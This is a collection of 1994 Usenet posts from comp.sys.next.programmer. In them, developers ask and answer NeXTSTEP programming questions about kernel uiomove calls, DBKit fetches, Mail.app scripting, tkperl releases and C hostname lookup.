From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Re: Developer Expo talk idea? (TCL and IB) Date: 21 Apr 1994 22:14:47 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2p6tsn$8k0@zip.eecs.umich.edu> References: <1994Apr17.122652.3956@chemabs.uucp> In article <1994Apr17.122652.3956@chemabs.uucp> lwv26@cas.org (Larry W. Virden) writes: > There are also interfaces between tcl and lisp, ada, eiffle, etc. There > is even tkperl - tk implemented in the perl rather than tcl language. Now that sounds neat! I hate tcl and love perl. Does anyone know if the perl version is up to date and where it's available? Thanks, Roland --------------------------------------------------------------------- Roland Telfeyan Solid State Electronics Laboratory telfeyan@eecs.umich.edu University of Michigan EECS Department ---------------------------------------------------------------------
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 21 Apr 1994 22:21:32 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2p6u9c$8nj@zip.eecs.umich.edu> References: <2p1oq2$6rq@bones.et.byu.edu> In article <2p1oq2$6rq@bones.et.byu.edu> don@darth.byu.edu (Don Yacktman) writes: > (The same sort of argument works against NeXT's competitors, too- > perhaps even more seriously. I mean, look at all the resources > MicroSloth has, and what's the best they can turn out? NT? DOS? Hah!) But look at the difference in the size of the two organizations. NeXT is still trying to get off the ground, but MicroSloth is a multi-billion dollar company. --------------------------------------------------------------------- Roland Telfeyan Solid State Electronics Laboratory telfeyan@eecs.umich.edu University of Michigan EECS Department ---------------------------------------------------------------------
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: UNIX-like device driver interface: HELP ME !!! Date: 21 Apr 1994 22:38:38 GMT Organization: San Francisco State University Message-ID: <2p6v9e$175@nic-nac.CSU.net> References: <AFBzbjjqCJ@ntc.togliatti.su> In article <AFBzbjjqCJ@ntc.togliatti.su> saty@ntc.togliatti.su (Sergey A. TsYbanov) writes: >How can I use UIOMOVE() NeXTSTEP kernel function correctly? >This is C-language prototype of UUIOMOVE function for any "classic" BSD: > >int uiomove( caddr_t kernel_address, int len, struct uio *uio); > >Is it right for NeXTSTEP 3.0 uiomove() function ? No. Use: extern int uiomove(caddr_t, int, enum uio_rw, struct uio *); A sample call looks like: error=uiomove(mtod(m, caddr_t), min(uio->uio_resid, m->m_len), UIO_READ, uio); A full, working example of a UNIX-style device driver is available for anonymous FTP from sutro.sfsu.edu [130.212.15.230] pub/venet1-1.1.tar.Z -=EPS=-
From: finton@homer.cs.wisc.edu (David Finton) Newsgroups: comp.sys.next.programmer Subject: Did the RTF spec change for NS 3.0? Date: 21 Apr 1994 16:50:51 GMT Organization: U of Wisconsin CS Dept Message-ID: <2p6atb$o4c@spool.cs.wisc.edu> I'm trying to track down the reason why some code from Garfinkel and Mahoney's book works differently in NS 3.x than in NS 2.0. (Specifically, their RTF.m can be used in a more flexible fashion in NS 2.0). So it looks like something in RTF changed from NS 2.0 to 3.0. Can anyone verify this? Can anyone tell me which RTF versions were used in NS 2.0 and NS 3.0? Someone on our campus has specs for RTF releases 1.10 and 1.2---are these the ones I want? Thanks, --David Finton
Newsgroups: comp.sys.next.programmer From: fozztexx@nvc.cc.ca.us (Chris Osborn) Subject: How to draw text in a Cell? Message-ID: <CoMIvr.51y@nvc.cc.ca.us> Sender: news@nvc.cc.ca.us Organization: Napa Valley College Date: Thu, 21 Apr 1994 19:16:39 GMT How do you draw text in a Cell? How do you get access to the global Text object that they keep talking about in the docs? Is it the same Text object that is the Window's editor? And after you get it, how do you use it to draw text, fast? I've been looking at some examples, and either they use another Text Cell, (which ends up getting slow when I'm drawing several areas of text in different spots), or they use PSshow, which makes the text come out condensed. While I'm asking, does renewRuns:text:frame:tag: even work? I *was* using it, and it causes some pretty strange errors, like not being able to cut/copy from a Text object that I sent renewRuns:text:frame:tag: to. I did find out (the hard way), that you need to make a copy of all the data that insertRuns points to when doing replaceSel:length:runs:. I was doing that for renewRuns:text:frame:tag:, but it doesn't seem to help. -- Chris Osborn, Network Administrator Voice: 707 253 3130 Napa Valley College Fax: 707 253 3063 2277 Napa-Vallejo Hwy., Napa, CA, 94558 <fozztexx@nvc.cc.ca.us> MIME ok, NeXTMail tolerated
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: DBKit fetch bottleneck Date: 22 Apr 1994 01:40:56 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2p79v8$e03@netnews.upenn.edu> Hi, I have a performance bottleneck somewhere. The scenario: a table of 8000 rows: the table is of "business orders" and has an invoice # column. Using IB, I set up a DBTableView to access this table in the standard way-- but the columns of the DBTableView do represent a 1-to-1 join between 2 tables (orders and customers). I set up a delegated method for fetchGroupWillFetch that will order the retrieved rows according to the invoice number: - fetchGroupWillFetch: theFetchGroup { [[ theFetchGroup recordList] addRetrieveOrder:DB_DescendingOrder for: [[theFetchGroup entity] propertyNamed:"invoice"]]; return self; Then I send fetchAllRecords to the module used to configure that TableView. The fetch takes almost a minute to complete. But a similar fetch on the employee table (which has only 200 records, and is not joined to any other table) takes only 10 seconds. So I tried limiting the range of the fetch in the orders table with: [recordList setRecordLimit:200]; but this did not have any effect on the fetch time; still almost 1 min.. I tried: [recordList setRetrieveMode:DB_BackgroundNoBlockingStrategy]; and this did not speed up the fetch either. Is this fetch slow because the target table has 8000 rows (even though I only triied to retrieve 200 of them) or is it slow because it involves a join? Is there anything I can do to speed up this fetch? It's central to the functioning of this App.Thanks for any information you can offer. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: bruce@trwlasd.com (Bruce McKenzie) Subject: Re: Messaging Mail.app with boilerplate for a new Compose window Message-ID: <CoMrx8.Cs9@trwlasd.com> Sender: bruce@trwlasd.com (Bruce McKenzie) Organization: TRW References: <HUGH.94Apr20090505@hodain.ci.net> Date: Thu, 21 Apr 1994 22:31:55 GMT In article <HUGH.94Apr20090505@hodain.ci.net> hugh@hodain.ci.net (Hugh Secker-Walker) writes: > ...deleted... > // Stock a new Compose window in Mail.app and optionally deliver it. > // Any char* args may be NULL. > // By Hugh Secker-Walker, based on code by Simson Garfinkel. > - sendMailTo:(const char *)to cc:(const char *)cc subject:(const char *)subject > body:(const char*)body deliver:(BOOL)deliver This is certainly functional, but it is less than completely OO. An alternative approach (which can use the MailSpeaker stuff internally) is to declare a mail message object: @interface MailMessage : Object { // internal structure is not critical } - init; - setRecipient:(STR)recipient; - addRecipient:(STR)recipient; - setSubject:(STR)subject; // more of same... // deliver message without bringing up compose window - deliver; // open compose window, fill in known fields - openComposeWindow; @end This lets you gen messages, and encapsulates data and functions, rather than trying to encapsulate an external interface. Also, this can be extended to handle MIME (exercise left to reader :-) -- Bruce McKenzie (spuds@netcom.com, NeXTMail welcome) Independent Software Contractor, specializing in NEXTSTEP. Sharks: 127/22/13-14 --- -- Bruce McKenzie (spuds@netcom.com, NeXTMail welcome) Sharks: 127/22/13-14
Newsgroups: comp.sys.next.programmer From: tholland@dreams.skidmore.edu (Anthony Holland) Subject: How to access another .m file's c functions ? Message-ID: <1994Apr19.200955.29694@scott.skidmore.edu> Keywords: remote access to C functions Sender: news@scott.skidmore.edu (news manager) Organization: Skidmore College, Saratoga Springs NY Date: Tue, 19 Apr 1994 20:09:55 GMT Greetings, I have an PB project going that has two .h files and two .m files. One of the .m files makes calls to c functions written in the other .m file. How can i get them to communicate ? (is there some "easy" way...like ...simply declaring an "external function" or some such animal ?) OR do I have to make a new method in the original .m file which simply call the c fuctnions in the other. i.e.: [self executeMyCFunctionNow]; - executeMyCFunctionNow { [otherObject executeCFunctionNow]; return self; } ?? Thanks. Please reply to: tholland@pars.skidmore.edu [self cantRememberHowToDoThis:notAgain?]
Newsgroups: comp.sys.next.programmer From: henry@trilithon.com (Henry McGilton) Subject: Re: Bizzare Bug: using "continue" as a variable Message-ID: <1994Apr21.014110.948@trilithon.com> Sender: henry@trilithon.com Organization: Trilithon Software References: <2p2c4g$ec8@nntp.ucs.ubc.ca> Date: Thu, 21 Apr 1994 01:41:10 GMT In article <2p2c4g$ec8@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: * I've got a really bizarre bug. For some reason or another * I cannot use the variable "continue". I get an error * message when compiling using ProjectBuilder. The problem * can be recreated by creating a New Application in ProjectBuilder * and adding the following files: Consult ``C Programming Language'', Second Edition, Page 192, ``Reserved Words''. ........ Henry
From: luomat@alleg.EDU (Timothy J. Luoma) Newsgroups: comp.sys.next.programmer Subject: Re: Default Open App Date: 21 Apr 1994 22:41:59 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404220341.AA16793@alleg.EDU> In comp.sys.next.programmer article <2ovm6d$b6i@nic-nac.CSU.net> dwrite Workspace DefaultOpenApp Emacs (takes effect the next time you log in) If you select a file which would be opened by your default app and look at it in the WM tools inspector and then change the default app in a shell, go back to WM and do 'Update viewers' and you should see the new app appear in the Tools Inspector as the default app. At least, this has worked for me before, without having to log out. Many dwrite changes can be registered this way, rather than logout/in. TjL --- Timothy J. Luoma Email: luomat@alleg.edu (Shell=tcsh) Workstation Environment using NeXTSTEP 3.1 Motorola MAIL: NeXT YES / MIME Mail NO No Root access, no super-user access
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: UNIX-like device driver interface: HELP ME !!! In-Reply-To: saty@ntc.togliatti.su's message of Thu, 21 Apr 1994 11:11:07 GMT To: saty@ntc.togliatti.su (Sergey A. TsYbanov) Message-ID: <CEDMAN.94Apr21182842@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <AFBzbjjqCJ@ntc.togliatti.su> Date: Thu, 21 Apr 1994 22:28:39 GMT In article <AFBzbjjqCJ@ntc.togliatti.su> saty@ntc.togliatti.su (Sergey A. TsYbanov) writes: Now I write the Ethernet statistics software for NeXT computers and use UNIX-like device driver interface. When my xyzread() function call uiomove() function panic message has appeared and NeXT has been rebooted. How can I use UIOMOVE() NeXTSTEP kernel function correctly? This is C-language prototype of UUIOMOVE function for any "classic" BSD: int uiomove( caddr_t kernel_address, int len, struct uio *uio); Is it right for NeXTSTEP 3.0 uiomove() function ? Ah, the miracles of writing device drivers under NS. But you shouldn't complain -- you have all the documentation you need when you /mach and a disassembler. In this particular case the answer is that NeXT uiomove is different. Try this: int uiomove(char *p,int n,int mode,struct uio *uiop); mode is either UIU_READ or UIO_WRITE. The rest of the arguments are (almost) like you are used to. Carl Edman
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Default Open App In-Reply-To: rvs@vnp.com's message of Thu, 21 Apr 94 11:25:11 GMT To: rvs@vnp.com (Ronald V. Simmons) Message-ID: <CEDMAN.94Apr21215742@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr19100257@capitalist.princeton.edu> <1994Apr21.112511.16212@vnp.com> Date: Fri, 22 Apr 1994 01:57:42 GMT In article <1994Apr21.112511.16212@vnp.com> rvs@vnp.com (Ronald V. Simmons) writes: For those who missed the understatement in the post above, let me say that Carl has done a truly remarkable job with his port of emacs-19 to NS. In fact I am ecstatic to state that, with the exception of .rtf files, I have now quit using Edit altogether. With the inclusion of Epoch like functionality in emacs-19, it's also possible (and desirable) to dispense with rtf'd source code, too. Damned fine job, Carl, you're a great programmeratarian and emancipator. :^) :^) OK, ok, from now on all _your_ bug reports go right to the top of the queue. :-) One question, though, has there been any change in Stallman's stance towards inclusion of your changes into the GNU emacs distribution? I've poked around at some of them and, at least for the ones I've seen in the lisp code, they look to me as if they could be classified as bug fixes, rather than explicit support for a closed platform. Have you thought of taking this tack? Nope, any amount of pleading by others and myself with this and every other printable argument has had absolutely zero effect on RMS. All I'm waiting for now is that RMS declares that Emacs for NS violates some FSF rule and we aren't allowed to freely distribute it. Such things have happened. :-( Carl Edman
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: DBTableview and double-clicking Message-ID: <1994Apr22.041421.16955@pcp.ca> Keywords: dbtableview, dbtablevector Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Fri, 22 Apr 94 04:14:21 GMT Hello there: I have a tableview in which I set the double action to be a method called doThis: in my Controller class. When I double-click on the title bar (i.e, the DBTableVector), the tableview receive a doThis: message. I would have expected that the tableview only receive this message if the double-click happened in one of the rows, not in the title. Is there an easy way of setting up the tableview so that the Controller only receive the doThis: message if the double-click happens in one of the rows and not the title? Please e-mail me and I'll summarize. Thanks in advance, Alex Nghiem_Alex@pcp.ca alex@oolesson.com
Newsgroups: comp.sys.next.programmer From: pett@ucsf.edu (Eric Pettersen) Subject: Re: Messaging Mail.app with boilerplate for a new Compose window Message-ID: <CoMwAz.HLx@cgl.ucsf.edu> Sender: news@cgl.ucsf.edu (USENET News System) Organization: UCSF Computer Graphics Lab References: <HUGH.94Apr20090505@hodain.ci.net> Date: Fri, 22 Apr 1994 00:06:34 GMT Hugh Secker-Walker writes > The problem of having applications bring up a boilerplate Compose > window in Mail recently came up and was solved in another forum. > Seems lots of people wanted the answer. > > Here's the solution I'm now using. Included is the relevant > protocol spec for Mail, a general sendMailTo::::: method, and my > specific sendComment:sender action method. > > > // Mail.app public protocol, thanks to mike@afs.com thanks to .....simsong > // Accessible through port MailSendDemo > @interface Emailer(ObjectMethods) > - openSend; > - setTo:(char *)toField; > - setSubject:(char *) subjectField; > - setCc:(char *)ccField; > - setBody:(char *)bodyField; > - deliver; > - openSend:(int *)sender; > - setTo : (char *) toField inWindow:(int)sender; > - setSubject : (char *) subjectField inWindow:(int)sender; > - setCc : (char *) ccField inWindow:(int)sender; > - setBody : (char *) bodyField inWindow:(int)sender; > - deliver:(int)sender; > @end > So there is no programmatic way to make the mail "non-NeXT"? -- Eric Pettersen pett@cgl.ucsf.edu (NeXTmail capable)
Newsgroups: comp.sys.next.programmer From: cbarton@DaBoyz.dgcp.doc.ca (Casey Barton) Subject: Where to find GNU C for NSFIP? (Part II) Message-ID: <1994Apr21.194119.14037@clark.dgim.doc.ca> Sender: news@clark.dgim.doc.ca (#Usenet News) Organization: Communications Canada References: <1994Apr19.150019.27410@clark.dgim.doc.ca> Date: Thu, 21 Apr 94 19:41:19 GMT Casey Barton (me) wrote: > What the subject line said. This should be an easy one - but I couldn't > find it anywhere. The cs.orst.edu version is for black only, apparently. I've had a couple of people suggest to me that I get the source for GNU C and compile it myself, with my developer's kit. Well, y'see, If I *had* the developer's kit, I probably wouldn't *need* GNU C. And I'm not keen on buying the kit, because all I need is something to compile UNIX freeware -- I'm not planning to write the next killer app. I'm convinced that at least one person out there has compiled this thing on white hardware. Now, I've got the black distribution -- I'm assuming that all I need now is the white binaries (cc, gcc, etc.) to have a workable C compiler solution. Is this is case? If so, could some kind soul NeXTMail me just these necessary files?
From: rcw@caspian.cc.vt.edu (R. Craig Woods) Newsgroups: comp.sys.next.programmer Subject: DBKit ,takeValueFrom, and disappearing cursor Date: 22 Apr 1994 12:07:11 GMT Organization: Virginia Tech, Blacksburg, Virginia Message-ID: <2p8elf$2dp@solaris.cc.vt.edu> I am developing an app to query/update a database. There is a non-editable DBTableView along with several Text Fields that allow the user to view/change data. The fields are connected so that the user can tab or shift-tab through them. Each of the Text Fields sends the takeValueFrom message to the DBModule. The app actually works fine, with one small problem. If I press the Return key while in a Text Field, the cursor disappears. (I can move the mouse to a field and click and the cursor will then reappear.) Values are correctly updated in the database from the field(s) where Return was pressed. My questions are: what is happening to the cursor, and how do I keep it from disappearing. (I'd like it to remain in the field.)
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: C Thread Management & Reentrant Code? Message-ID: <1994Apr21.205450.1332@dolphin.com> Keywords: help c thread reentrant Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Thu, 21 Apr 1994 20:54:50 GMT I am currently adding the last bits and pieces of C Thread management code to our Dolphin Kit. There are a number of objects in there which implement multithreaded behavior. For instance, a DSThread class is created everytime a method such as this is sent: [process fork:@selector(run:) inObject:theObject with:p1]; The DSThread instance which is returned also shows up in a global "thread management pool". At any point throughout the application, using our DSObject category, I can send this method: [anyObject threadLock]; Which essentially suspends all concurrent threads, lets you do non-reentrant code, and then continue. Continuing is done by sending any object the -releaseThreadLock or -abortThread method. Now, all this said, my question is... Where can I find what code in Mach is non-reentrant? I know from experience (on other UNIX systems) that most functions in stdlib should be considered non-reentrant (such as printf(), sscanf(), atoi() and the like). What else? Some of the classes in Dolphin Kit, such as DSString, use these non-reentrant functions. All of these pieces of code need to be bracketed by thread locking methods. Thanks in advance for any input! -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.programmer From: btf64@cas.org (Bernard T. French) Subject: Re: Developer Expo talk idea? (TCL and IB) Message-ID: <1994Apr22.115529.8426@chemabs.uucp> Sender: usenet@chemabs.uucp Organization: Chemical Abstracts Service, Columbus, Ohio References: <1994Apr17.122652.3956@chemabs.uucp> <2p6tsn$8k0@zip.eecs.umich.edu> Date: Fri, 22 Apr 1994 11:55:29 GMT In article <2p6tsn$8k0@zip.eecs.umich.edu> Roland Telfeyan <roland@gomidas.mi.org> writes: >In article <1994Apr17.122652.3956@chemabs.uucp> lwv26@cas.org (Larry W. >Virden) writes: >> There are also interfaces between tcl and lisp, ada, eiffle, etc. There >> is even tkperl - tk implemented in the perl rather than tcl language. > >Now that sounds neat! I hate tcl and love perl. Does anyone know if the perl >version is up to date and where it's available? > >Thanks, > >Roland > >--------------------------------------------------------------------- >Roland Telfeyan Solid State Electronics Laboratory >telfeyan@eecs.umich.edu University of Michigan EECS Department >--------------------------------------------------------------------- There are two tkperls in existence, one is based on Perl4 and the other is based on Perl5 (see messages below). Perl5 and tkPerl5 are still in alpha, and I'm having trouble waiting until Perl5/tkPerl5 are fully released and the yet to be written (or probably even thought about) "Programming with Perl5/tkPerl5" by Randal Schwartz has been published by O'Reilly. I've anticipated vaporware before, but with Perl I'm now anticipating vaporbooks as well. -- Bernie +------------------------------------------------------------------------+ | REWARD: Lost .sig, last seen in comp.sys.* or bionet.*, answers to | | the name btf64@cas.org | +------------------------------------------------------------------------+ <---------------------------------------------------------------------------> The next version of the TkPerl package is ready to be fetched from our anon. ftp server ftp.ira.uka.de (129.13.10.90): /pub/misc/tkperl-0.010.tar.z Binaries for SunOS4 and Solaris2 are stored in /pub/misc/tkperl-0.010.bin.tar.z Answering the question about the different announcements of TkPerl: YES, there are (at least) two groups (Malcolm Beattie (mbeattie@black.ox.ac.uk) and our project (smile@ira.uka.de)) working independantly on combining Tk with Perl. The main goal of our approach was to prevent major modifications in the existing software packages so that there will be no more work with upcoming new releases of Tk (or widget extensions). So we can now announce the availability of TkPerl with Blt and Vuw widgets (and for the network management area the SMILE SNMP support). FYI: Parts of the README file: ---------------------------------------------------------------------------- This is TkPerl, a programm which combines Perl with the graphic extension Tk. If you are already a user of the *great* Perl and you are seeking for a graphical user interface like Tk, you'll be right with this program. TkPerl is a normal Perl interpreter which additionally includes 33 new Tk commands for window creation, handling and so on. Within this distribution other widget sets are included as well as the SNMP support. [...] ---------------------------------------------------------------------------- Regards, Guenther -- Guenther Schreiner | University of Karlsruhe, Germany Fakultaet fuer Informatik (CSD) ---+--- Am Fasanengarten 5 | Phone: (+49) 721 608-3980 or 4321 76128 Karlsruhe | FAX: (+49) 721 699284 | INTERNET: guenther@ira.uka.de X.400: G=Guenther/S=Schreiner/OU=Informatik/PRMD=UNI-KARLSRUHE/ADMD=D400/C=DE/; -- <----------------------------------------------------------------------------> Announcing tkperl5alpha2: The alpha2 release of tkperl5 is now available by anonymous ftp from black.ox.ac.uk (129.67.1.165) in directory /src/ALPHA. tkperl5 is a port of Tk to `native' Perl5. It takes advantage of perl5's object oriented features and magic variables to implement the Tk widget set in Perl5. Nothing touches the Tcl parser so knowledge of Tcl is not required. Unlike the alpha1 release, I consider this release to be more than just a release `...for the brave and insatiably curious.' New features: * A GUI version of the perl debugger (source line tracking/display, variable tracking/display, and a `pad' for executing perl code and debugger commands) * Asynchronous I/O (your callback gets invoked when a filehandle is ready.) * Simplified widget inheritance (write composite widget objects in perl, use @ISA and redirect inherited methods to the appropriate sub-widget) * Follows `perl module' conventions * Asynchronous timed callbacks (`after' command sets a timer after which callback is invoked.) * Cleaned-up widget creation (at widget creation, can specifiy parent object rather than new pathname.) * Hooks for class initialisation of user-written widget classes. Fixes: * Building from source now works with tk 3.6 * Now fixed so that it core dumps on exit when perl5alpha6 tries to clean-up variables. OK, it's not a fix, but it saves putting in a `BUGS' section. Requirements: * perl5alpha6 source distribution (for headers, libperl.a and perl.o) * tk3.3 or later (library and public and private header files) Platforms: Known to work with the following (and executables for these are available) * Linux * Ultrix (4.3A) * SunOS (4.1.1) Files: black.ox.ac.uk:/src/ALPHA (black is 129.67.1.165) tkperl5a2.tar.gz gzipped source distribution tkperl5a2-linux.tar.gz gzipped distribution, source + Linux binary tkperl5a2-sun.tar.gz gzipped distribution, source + SunOs binary tkperl5a2-ultrix.tar.gz gzipped distribution, source + Ultrix binary This project is unrelated to the one which is adding usubs to perl4 to get access to Tk via Tcl. --Malcolm -- Malcolm Beattie <mbeattie@black.ox.ac.uk> Oxford University Computing Services "Widget. It's got a widget. A lovely widget. A widget it has got." --Jack Dee -- +------------------------------------------------------------------------+ | REWARD: Lost .sig, last seen in comp.sys.* or bionet.*, answers to | | the name btf64@cas.org | +------------------------------------------------------------------------+
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: DBKit background fetches Date: 22 Apr 1994 12:58:21 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2p8hld$q5g@netnews.upenn.edu> I'm fetching into a DBTableView that was set-up and configured in the standard way using IB. The table that is the target of the fetch has 8000 records in it, and this particular fetch represents a 1-to-1 join between this table and a much smaller table. The fetch is slow, so I tried to set up the fetch to execute in the background. What I was (naively) HOPING would happen: The fetch would start executing, the thread of control would return to the next program line in the method that sent the fetch method. This line puts the TableView on the screen (swaps the contentView of the window that holds the TableView (off-screen) into the contentView of the window that is currently displayed). The table would contain how ever many rows had been fetched so far, and more rows would appear in the TableView as the fetch progressed. What actually happens: The fetch starts executing, but it takes just as long for the thread of control to return as it would had I NOT fetched in the background. In other words, the fetch is still just as slow. As well, some of the rows in the resulting DBTableView are mangled-- they appear as though one row has overwritten (not erased) another row. Can anyone tell me what is going on? Any suggestions appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: pdell@cs17.NoSubdomain.NoDomain (Paul Dell) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: delegation and inheritance Date: 22 Apr 1994 14:16:50 GMT Organization: Computer Science Department, Boston University, Boston, MA, USA Sender: pdell@cs17 (Paul Dell) Distribution: world Message-ID: <2p8m8i$30a@news.bu.edu> In the May issue of Byte magazine an article states "No current OOP language supports both delegation and inheritance." Is that true? I thought that objective-c on NEXTSTEP supports both. Thanks, Paul Dell pdell@bu.edu
From: seubert@cip.mathematik.uni-wuerzburg.de (Seubert Klemens) Newsgroups: comp.sys.next.programmer Subject: Volume control Date: 22 Apr 1994 14:51:34 GMT Organization: University of Wuerzburg, Germany Message-ID: <2p8o9m$lsu@winx03.informatik.uni-wuerzburg.de> Hi! I am looking for a small piece of code to control the volume of our NeXT computers from within a shell script. We are running NS 3.0 on black hardware. Any hints are appreciated, Klemens -- Klemens Seubert Universitaet Wuerzburg Institut fuer Angewandte Mathematik email: seubert@cip.mathematik.uni-wuerzburg.de (NeXTmail welcome) seubert@mathematik.uni-wuerzburg.de (nonNeXT only!) ---------------------------------------------------------------------- Bevor ich eine meiner ueblichen Fehlentscheidungen treffe, moechte ich erstmal ein Schlueckchen Kaffee zu mir nehmen. [James T.Kirk in "Was summt denn da?"]
From: mow@marsu.tynet.sub.org (Markus Wenzel) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 21 Apr 1994 21:16:56 GMT Organization: Palumbian Research Labs Message-ID: <2p6qg8$13n@marsu.tynet.sub.org> References: <1994Apr20.064652.9919@fokus.gmd.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Robert Fischer writes > In article <2p15cp$5dl@neptune.inf.ethz.ch> dsdecasp@iiic.ethz.ch (Daniel > Stefan Decasper) writes: > > I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and > > my good old NeXTstation color (non turbo). > > NeXTstation color: 8 min 50 s > > Gecko: 5 min 02 s > > Comments ? The difference is not noticable, because you shouldn't compare it with a 68040 at 25 MHz. Take a 486/66 or P5/60 for comparison. It is a value I expected perhaps from a 712/60, but not from a 712/80. > In your summary you wrote "Gecko IS fast". Was this a joke? A plus of > nearly 40% is not what I expected to see. BTW: our 486/66 takes 7:02. Hah! My 486/66 needed only 6:25. BTW: A friend of mine already has a 712/60. He compiled Taylor uucp 1.04 in about 7 min, my DX2/66 took about 7.5 min. So I think compilation time isn't the right thing to compare performance. Regards, Markus. -- sig got a SIGKILL signal.
From: pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) Newsgroups: comp.sys.next.programmer Subject: Re: hostname detection in c? Date: 22 Apr 1994 17:47:16 GMT Organization: University of Arizona, CCIT Message-ID: <PJS.94Apr22104716@bigdog.engr.arizona.edu> References: <2oucnv$qb0@email.tuwien.ac.at> In-reply-to: wolfgang@neptun.nt.tuwien.ac.at's message of 18 Apr 1994 16:33:03 GMT In article <2oucnv$qb0@email.tuwien.ac.at> wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch) writes: How to detect with an c-program the hostname and store it in a variable? Maybe someone could send me the sourcecode of the program. Wolfgang You really should learn how to use the online manual. Double click /NextLibrary/Bookshelves/NextDeveloper.bshlf and search for hostname in the UNIX Manual Pages. Alternatively, type "apropos hostname" from a shell window. Or try typing in the following program... #include <stdio.h> int main(void) { char name[50]; gethostname(name, 50); printf("hostname is %s\n", name); return 0; } -- --paul paul@whimsy.umsl.edu ================================================================= Soap and education are not as sudden as a massacre, but they are more deadly in the long run. --Mark Twain =================================================================
From: wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch) Newsgroups: comp.sys.next.programmer Subject: hostname detection in c? Date: 18 Apr 1994 16:33:03 GMT Organization: Technical University Vienna, Austria Message-ID: <2oucnv$qb0@email.tuwien.ac.at> How to detect with an c-program the hostname and store it in a variable? Maybe someone could send me the sourcecode of the program. Wolfgang ===================================================== D.I. Wolfgang PUSCH Department of Communications and Radio Frequency Engineering Vienna University of Technology Gusshausstrasse 25/389 A-1040 Vienna Austria Voice: (+43 1) 58 801 - 3522 FAX: (+43 1) 587 05 83 EMAIL: pusch@email.tuwien.ac.at
Newsgroups: comp.sys.next.programmer From: guenther@tms-gmbh.de (Guenther Fuerthaller) Subject: nextcreatepagedevice? Message-ID: <CooDvr.1vL@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Fri, 22 Apr 1994 19:23:51 GMT Can anybody tell me how to use nextcreatepagedevice? thanks for any hint, guenther
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: Remember Scene.app? (gonna build a new one) Message-ID: <1994Apr22.144329.18249@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <2orsd2$8u9@cerberus.wsc.com> Date: Fri, 22 Apr 1994 14:43:29 GMT In article <2orsd2$8u9@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) writes: > > So, is there any PS guru out there that knows what I can > do to build this app? I don't want it to be like BackSpace > which puts up its own window over the background, I want > to write directly to the workspaceWindow, so my app can > quit. Just like Scene used to. > > Any ideas? Just create your window (with a looow level), and change its context so that it workspaceWindow currentowner (perhaps 0 will work too), so that your window will still remain after your app quit. I do not think you can promote a non retained window into another type. Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Default Open App Date: Fri, 22 Apr 1994 08:15:38 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <ghhvzei00WBN01=TIt@andrew.cmu.edu> In-Reply-To: <CEDMAN.94Apr21215742@capitalist.princeton.edu> Excerpts from netnews.comp.sys.next.programmer: 22-Apr-94 Re: Default Open App by Carl Edman@princeton.edu > Nope, any amount of pleading by others and myself with this and every > other printable argument has had absolutely zero effect on RMS. All > I'm waiting for now is that RMS declares that Emacs for NS violates > some FSF rule and we aren't allowed to freely distribute it. Such > things have happened. :-( How so? The GNU Public License is pretty explicit about stating that one has the right to modify their code, and distribute your changes: 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: [...munch...] -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
